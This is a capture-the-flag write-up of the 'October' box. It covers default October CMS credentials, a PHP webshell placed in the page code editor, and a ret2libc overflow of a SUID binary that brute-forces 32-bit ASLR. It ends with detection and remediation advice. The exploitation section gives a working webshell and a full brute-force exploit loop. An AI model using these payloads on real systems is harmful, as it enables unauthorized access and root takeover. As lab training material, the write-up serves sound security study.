Overview
October is a medium-rated Linux box running Ubuntu 14.04.5 LTS on a 32-bit
i686 kernel. The web service hosts an October CMS instance with default
credentials (admin:admin) on the backend login page. From the admin panel,
the CMS page editor accepts arbitrary PHP in the code section, providing
remote code execution as www-data. Privilege escalation targets a custom
SUID binary at /usr/local/bin/ovrflw: a 32-bit ELF that calls strcpy()
without bounds checking. The binary has no PIE and no NX, but ASLR is active
system-wide. A ret2libc payload brute-forces the approximately 290 possible
libc base addresses and produces a root shell within ten seconds.
The box pairs a trivial web application misconfiguration with a proper binary
exploitation exercise. The CMS access is almost embarrassingly easy; the
buffer overflow requires understanding ret2libc, ASLR entropy on 32-bit
systems, and the distinction between bash and dash in non-interactive
contexts.
Reconnaissance
nmap -sC -sV -T4 10.129.96.113
| Port | Service | Product / Version | Notes |
|---|---|---|---|
| 22 | SSH | OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 | Ubuntu 14.04 banner |
| 80 | HTTP | Apache 2.4.7 (Ubuntu) | October CMS, Rainlab Vanilla |
Two open ports. The HTTP title immediately identifies October CMS with the Rainlab Vanilla theme. Response headers disclose the PHP version:
curl -sI http://10.129.96.113/
# X-Powered-By: PHP/5.5.9-1ubuntu4.21
# Server: Apache/2.4.7 (Ubuntu)
PHP 5.5.9 reached end-of-life in July 2016. The version string also confirms
Ubuntu 14.04 (the 1ubuntu4 suffix maps to Trusty Tahr’s PHP packaging).
Attack Surface Analysis
October CMS backend
The backend login page sits at /backend/backend/auth, the standard October
CMS administrative path. No robots.txt disallows this URL. There is no
account lockout, no CAPTCHA, and no MFA.
October CMS ships with a default admin:admin account that administrators
are expected to change after installation. On this box, it was never changed.
I tried admin:admin first because it is the documented default; no brute-
forcing was necessary.
Custom SUID binary
Post-exploitation enumeration reveals /usr/local/bin/ovrflw, a SUID root
binary:
find / -perm -4000 -type f 2>/dev/null | grep -v snap
# /usr/local/bin/ovrflw
The name itself hints at its purpose. This becomes the privilege escalation target after obtaining local access through the CMS.
Vulnerability Analysis
Default credentials (CWE-1393)
| Attribute | Value |
|---|---|
| CWE | CWE-1393 (Use of Default Credentials) |
| CVSS 3.1 | 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Root cause | Default admin:admin never changed after installation |
| Impact | Full administrative CMS access; leads directly to RCE |
The CVSS score reflects that no authentication, user interaction, or special conditions are required. An attacker with network access simply types the default password.
CMS code editor RCE (CWE-94)
October CMS allows administrators to write PHP in the “code” section of CMS
pages. This code executes server-side within the page lifecycle: the
onStart() method fires before the page renders. This is intended
functionality, not a vulnerability in isolation. When combined with
compromised credentials, it becomes a direct code execution primitive.
The critical distinction: PHP code must be in the code section (between
== delimiters), not the markup section. Markup renders through the Twig
template engine and does not execute PHP. I initially placed the PHP in the
markup section and spent several minutes debugging before realising the
mistake. The October CMS documentation explains this architecture, but under
time pressure it is easy to conflate the two sections.
SUID buffer overflow (CWE-120)
| Attribute | Value |
|---|---|
| CWE | CWE-120 (Buffer Copy without Checking Size of Input) |
| CVSS 3.1 | 7.0 (AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H) |
| Binary | /usr/local/bin/ovrflw, 32-bit ELF, SUID root |
| Root cause | strcpy() copies argv[1] to a fixed-size stack buffer |
| Mitigations | ASLR active (randomize_va_space=2); no PIE, no NX |
ASLR on 32-bit i686 provides approximately 8 bits of entropy for shared library mappings. The libc base varies across roughly 290 positions at 0x1000 alignment. This is too low to prevent brute-force: even a serial loop completes in seconds. A 64-bit system would have 28+ bits of entropy (over 250 million possible positions), making the same attack computationally infeasible.
The AC:H (high attack complexity) in the CVSS score reflects the ASLR requirement, but on a 32-bit system the practical complexity is negligible.
Exploitation
Step 1: Admin access via default credentials
curl -s -c cookies.txt -b cookies.txt \
-d "login=admin&password=admin" \
http://10.129.96.113/backend/backend/auth/signin
# HTTP/1.1 302 Found
# Location: http://10.129.96.113/backend
The 302 redirect confirms successful authentication. The session cookie grants full administrative access to October CMS.
Step 2: RCE via CMS page code editor
I create a new CMS page through the backend editor. The theme must match the active installation; “rainlab-vanilla” is the correct theme name. Using any other theme name (e.g. “demo”) returns an error: “The object you’re trying to access doesn’t belong to the theme being edited.”
Code section (between == delimiters):
function onStart()
{
$this["output"] = shell_exec(input("cmd"));
}
The shell_exec() function executes a command via /bin/sh and returns
stdout as a string. October CMS’s input() helper reads query parameters
from the request.
Markup section:
{{ output }}
The page is saved with URL /shell. Verification:
curl -s "http://10.129.96.113/shell?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
curl -s "http://10.129.96.113/shell?cmd=cat+/home/harry/user.txt"
# [redacted]
User flag obtained. The www-data user can read harry’s home directory
because the file permissions are world-readable.
Step 3: SUID buffer overflow with ASLR brute-force
From the www-data webshell, I upgrade to a proper reverse shell and analyse
the SUID binary:
ls -la /usr/local/bin/ovrflw
# -rwsr-xr-x 1 root root 7377 Sep 24 2017 /usr/local/bin/ovrflw
file /usr/local/bin/ovrflw
# ELF 32-bit LSB executable, Intel 80386, dynamically linked, not stripped
cat /proc/sys/kernel/randomize_va_space
# 2
The binary is dynamically linked (uses libc) and not stripped (symbols are
available). randomize_va_space=2 confirms full ASLR: stack, heap, and
shared library positions are randomised on each execution.
Finding the EIP offset
/usr/local/bin/ovrflw $(python -c 'print "A"*112 + "BBBB"')
# Segmentation fault
dmesg | tail -1
# ovrflw[...]: segfault at 42424242 ip 42424242
EIP is overwritten at offset 112 bytes. The 42424242 value (ASCII “BBBB”)
in the instruction pointer confirms precise control of the return address.
Extracting libc offsets
The ret2libc technique requires three addresses from libc: system(),
exit(), and the string "/bin/sh". Since the binary is dynamically linked,
these exist in the loaded libc at fixed offsets from its base address.
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep " system"
# 1457: 00040310 56 FUNC WEAK DEFAULT 12 system@@GLIBC_2.0
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep " exit"
# 141: 00033260 45 FUNC GLOBAL DEFAULT 12 exit@@GLIBC_2.0
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh"
# 162bac /bin/sh
The ret2libc payload structure on the stack:
[112 bytes padding] [&system()] [&exit()] [&"/bin/sh"].
The exit() address serves as the return address for system(). Without it,
the process would crash after system() returns. While a crash would not
prevent exploitation, a clean exit avoids unnecessary noise in logs.
Determining the ASLR range
Running ldd repeatedly against the binary shows the libc base varying
between 0xb7540000 and 0xb7660000:
for i in $(seq 1 20); do ldd /usr/local/bin/ovrflw | grep libc; done
# libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7578000)
# libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75e1000)
# libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7618000)
# ...
The brute-force
Because system() invokes /bin/sh -c, and Ubuntu’s /bin/sh is dash
(not bash), I cannot rely on bash-specific features. The payload creates a
SUID copy of /bin/bash via a helper script:
cat > /tmp/r.sh << 'EOF'
cp /bin/bash /tmp/rootbash
chmod 4755 /tmp/rootbash
EOF
The brute-force loop iterates through all possible libc base addresses:
for BASE in $(seq 0xb7540000 0x1000 0xb7660000); do
SYS=$((BASE + 0x40310))
EXT=$((BASE + 0x33260))
BSH=$((BASE + 0x162bac))
PAYLOAD=$(python -c "
import struct
print 'A'*112 + struct.pack('<I',$SYS) + struct.pack('<I',$EXT) + struct.pack('<I',$BSH)
")
echo ". /tmp/r.sh" | /usr/local/bin/ovrflw "$PAYLOAD" 2>/dev/null
[ -f /tmp/rootbash ] && echo "[+] Hit at base $BASE" && break
done
When system("/bin/sh") executes with the correct libc base, dash reads
. /tmp/r.sh from stdin, sourcing the helper script. The script runs as root
(SUID binary context) and creates /tmp/rootbash with the SUID bit set.
Within approximately ten seconds, the correct base is found:
ls -la /tmp/rootbash
# -rwsr-xr-x 1 root root 986672 ... /tmp/rootbash
/tmp/rootbash -p -c "cat /root/root.txt"
# [redacted]
The -p flag is critical. Without it, bash drops SUID privileges on
startup as a security measure. The -p flag preserves the effective UID,
maintaining root access.
Root flag obtained.
Post-Exploitation
uname -a
# Linux october 4.4.0-78-generic #99~14.04.2 i686 i686 i686 GNU/Linux
cat /etc/lsb-release
# DISTRIB_DESCRIPTION="Ubuntu 14.04.5 LTS"
32-bit Ubuntu 14.04.5. Every component is end-of-life: PHP 5.5.9 (EOL July 2016), Apache 2.4.7 (Ubuntu 14.04 support ended April 2019), the kernel itself. Kernel 4.4.0-78 post-dates the DirtyCow fix (patched at 4.4.26), but the system receives no further security updates.
The ovrflw binary is a teaching tool. The combination of no PIE, no NX, and
32-bit ASLR makes it exploitable through multiple techniques: ret2libc (used
here), NOP sled with shellcode (NX is disabled, so the stack is executable),
or ROP chains. The low ASLR entropy is the critical factor; 290 attempts is
trivially brute-forceable regardless of which technique is chosen.
Defensive Analysis
Detection opportunities
| Phase | MITRE ATT&CK | Detection |
|---|---|---|
| Initial access | T1078.001 | Successful login with default credentials at /backend |
| Execution | T1059.004 | sh spawned as child of Apache worker process |
| Privilege escalation | T1068 | Repeated segfaults from ovrflw in kernel logs (ASLR brute) |
Host-level: The ASLR brute-force generates hundreds of segfaults in rapid
succession. Each crash produces a kernel log entry via the segfault handler.
Any monitoring system watching dmesg or /var/log/kern.log for segfault
patterns would detect this immediately. The brute-force also creates a
distinctive process spawning pattern: hundreds of short-lived ovrflw
invocations within seconds, each crashing at the same instruction.
Application-level: October CMS logs backend authentication events. A
successful login with admin:admin from an unexpected source IP is trivially
detectable. The creation of a new CMS page containing shell_exec() or
similar functions in the code section would be visible in the CMS audit log
and on the filesystem (October CMS stores pages as flat files in the theme
directory).
Remediation
| Priority | Action | Effort | Impact |
|---|---|---|---|
| P0 | Change default CMS credentials; enforce strong passwords | Low | Critical |
| P0 | Remove SUID bit from /usr/local/bin/ovrflw | Low | Critical |
| P0 | Upgrade Ubuntu 14.04 to a supported release | High | Critical |
| P1 | Recompile ovrflw with stack canaries, PIE, and NX | Medium | High |
| P1 | Add account lockout to the CMS backend | Medium | High |
| P2 | Upgrade PHP to 8.x | Medium | Medium |
| P2 | Remove X-Powered-By header from Apache configuration | Low | Low |
The buffer overflow is a symptom of a deeper problem: custom SUID binaries
compiled with unsafe C functions. Removing the SUID bit eliminates the
immediate risk. If the binary must retain elevated privileges, it should be
recompiled with modern protections: stack canaries via -fstack-protector-all,
position-independent code via -fPIE -pie, and NX via default linker
settings. The source should replace strcpy() with strncpy() or
strlcpy(). On a 64-bit system with full ASLR, the ret2libc brute-force
becomes infeasible, but relying on ASLR alone is defence in depth, not a
primary control.
Key Takeaways
-
Default credentials remain the most common initial access vector. The October CMS
admin:adminaccount is documented in every installation guide. Attackers try default credentials before anything else; automated scanners check for them. The fix is trivial (change the password), but the failure to do so is an operational discipline problem, not a technical one. -
32-bit ASLR is a speed bump, not a barrier. With approximately 290 possible libc base addresses, a brute-force loop completes in seconds. This is why 64-bit is the minimum acceptable architecture for any system exposed to local exploitation. The additional 20+ bits of ASLR entropy on x86_64 transforms a ten-second attack into one requiring weeks of continuous execution.
-
Ubuntu’s
/bin/shis dash, not bash. Thesystem()libc function invokes/bin/sh -c, and on Ubuntu/bin/shsymlinks todash. Dash ignoresBASH_ENVand only sourcesENVin interactive mode. This matters for ret2libc payloads: environment variable tricks that work with bash fail silently under dash. The workaround is piping commands to stdin or creating a helper script, as demonstrated here. The-pflag for preserving SUID privileges is likewise bash-specific; dash drops privileges unconditionally.